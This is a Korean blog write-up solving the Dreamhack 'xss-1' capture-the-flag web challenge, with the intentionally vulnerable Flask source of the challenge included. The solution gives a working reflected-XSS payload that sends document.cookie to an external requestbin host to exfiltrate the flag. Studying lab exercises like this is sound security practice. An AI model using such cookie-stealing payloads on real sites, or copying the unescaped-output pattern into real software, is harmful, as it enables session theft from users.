[Dreamhack Web - Lv 1] xss-1

문제 정보

여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다.
XSS 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다.

풀이 힌트

1. 공격 백터 파악

2. XSS 기본 지식

문제 풀이 

더보기
더보기

문제에 접속하니, 여러 개의 페이지가 나왔고 하나하나 들어가서 공격 백터를 찾아보겠다.


1. vuln(xss) page

해당 페이지에 들어가 보니, vuln?param=<script>alert(1)</script>으로 열렸다. param에 들어간 값이 페이지에 그대로 적용이 돼서 Alert가 떴다.

 

값을 수정해서 서버에 보내니, 수정된 값도 적용이 됐다.


2. memo

페이지에 들어가니, memo?memo=hello로 열렸다. 그리고 회색 박스 안에 hello가 적힌 페이지가 출력되었다.
아마도 memo 파라미터에 들어간 값이 회색 박스 안으로 들어간 것으로 보인다.

 

확인을 위해 memo에 <script>alert(1)</script>를 넣어서 서버에 보내더니, 회색 박스 안으로 들어갔다.

 

하지만 js는 실행이 안되었는데 코드를 확인을 해보니, 이처럼 pre 태그 안에 들어가 있어서 실행이 안됐다.

 

혹시 pre 태그를 Injection처럼 끼워 넣으면 js가 작동하지 않을까?라는 생각을 했지만, 이 역시 안 통했다.
아무래도 memo 페이지는 xss 공격이 힘들 것으로 보인다.


3. Flag

flag 페이지는 vuln(xss) page에 input 태그에 입력한 값을 param 파라미터에 넣어서 요청 보내는 페이지로 보인다.

 

확인을 위해 input 태그에 test를 입력하여 제출 버튼을 클릭하니 Alert 창에 good이라는 글이 띄어졌다.
이렇게 되면 정확히 vuln 페이지에 값을 전달하여 실행을 했는지 확인이 불가능하다.

정확한 확인을 위해서 다른 서버에 요청을 보내는 Xss를 넣어보겠다.

 

<script>location.href="http://requestbin.net/r/bkkqmtkk?test"</script>

위와 같이 input 태그에 넣어서 보냈더니, 사진과 같이 해당 서버에 요청을 하였다.
이를 통해 Flag 페이지는 vuln 페이지에 Input 태그에 입력한 값을 전달하여 실행하는 페이지가 맞다는 것을 확실하게 알 수 있었다.


3개의 페이지에 들어가서 얻은 공격 백터는 밑과 같다.

  • vuln(xss) page
    param : XSS 가능
  • memo page
    memo : XSS 불가능, 값이 그대로 페이지에 출력
  • Flag page
    input 태그(param) : vuln(xss) page의 param에 input에 입력한 값을 전달하여 실행

이제 flag를 얻기 위해 Xss을 해야 하는데, 나는 이미 Flag의 기능을 확인하기 위해 사용한 Xss가 있었다.
이를 통해 flag를 요청해보겠다.


Try - 1

나는 문제 정보에서 flag 변수에 값이 저장되어 있다고 하여, 파이썬 변수에 저장이 되어 있다고 생각했다.

그래서 ?flag=<script>location.href="http://requestbin.net/r/bkkqmtkk?flag={FLAG}"</script>로 파이썬 변수를 출력하려는 시도를 했지만, vuln 파라미터는 파이썬 코드 안에서 f'vuln 파라미터'로 format 함수가 설정되지 않은 것으로 보인다.

 

 

Try - 2

혹시 쿠키에 저장되어 있을까?라는 생각에 ?flag=<script>location.href="http://requestbin.net/r/bkkqmtkk?flag="+document.cookie</script> 시도하니, requestbin.net으로 flag가 보내지는 것을 확인할 수 있었다.

코드 분석

더보기
더보기
from flask import Flask, request, render_template
from selenium import webdriver
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"

def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome("/chromedriver", options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True

def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

@app.route("/")
def index():
    return render_template("index.html")

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return param

@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'

memo_text = ""

@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text)

app.run(host="0.0.0.0", port=8000)

코드가 너무 길어서 중요한 부분만 설명하겠다.

 

def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome("/chromedriver", options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True

def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'

Flag 페이지는 Post 메서드로 param 파라미터에 값을 넣어서 전달하면, param 파라미터의 값을 check_xss 함수의 인자 값으로 넣어지게 된다.
이때 중요한 것은 함수의 인자 값으로 {'name': 'flag', 'value': FLAG.strip()}으로 FLAG 변수도 같이 넘겨주게 된다.

check_xss 함수는 check_xss(param, cookie={"name": "name", "value": "value"})로 선언이 되어있는데, FLAG 변수가 들어간 인자 값은 cookie 변수에 들어가게 된다. 또한 param 변수는 url 변수로 f"<http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}>" 에 들어가게 되는데, 뭔가 이상하다.

 

분명 나는 Try-1을 시도했을 때 {FLAG}를 통해서 FLAG를 요청했는데, 왜 안 된 걸까?

 

그 이유는 urllib.parse.quote 함수 때문이다. 이 함수는 URL 인코딩을 해주는 함수인데, 이 때 {}이 URL 인코딩되어 파이썬이 이를 인식을 못한 것이다.

 

이후 url 변수와 cookie 변수를 read_url 함수로 보낸다.

 

read_url 함수는 간단하게 크롬 브라우저 드라이버를 이용하여, 크롬 브라우저로 조종하여 url 변수의 값에 들어가게 된다. 근데 그냥 들어가면 되는데 크롬 브라우저에 cookie를 등록하여 접속을 하여 Xss 공격에 의해 cookie을 탈취 당했다.
이처럼 크롬 브라우저가 잘 동작하면 반환 값으로 True를 전달한다. 하지만 Error가 발생하게 된다면 False를 반환한다.

 

check_xss 함수는 read_url 함수의 반환 값을 그대로 반환한다.
만약 check_xss 함수의 반환 값인 read_url 함수가 False를 반환하게 된다면, not을 통해 True가 되어 Alert창으로 wrong??이라는 문구를 띄우게 된다. True가 나오다면, not에 의해 False가 되어 Alert창으로 good이라는 문구를 띄우게 된다.

 

'Wargame > Dreamhack' 카테고리의 다른 글

[Dreamhack Web - Lv 1] proxy-1  (0) 2021.10.25
[Dreamhack Web - Lv 1] file-download-1  (0) 2021.10.25
[Dreamhack Web - Lv 1] welcome  (0) 2021.10.15
[Dreamhack Web - Lv 1] simple_sqli  (0) 2021.10.15
[Dreamhack Web - Lv.1] pathtraversal  (0) 2021.10.14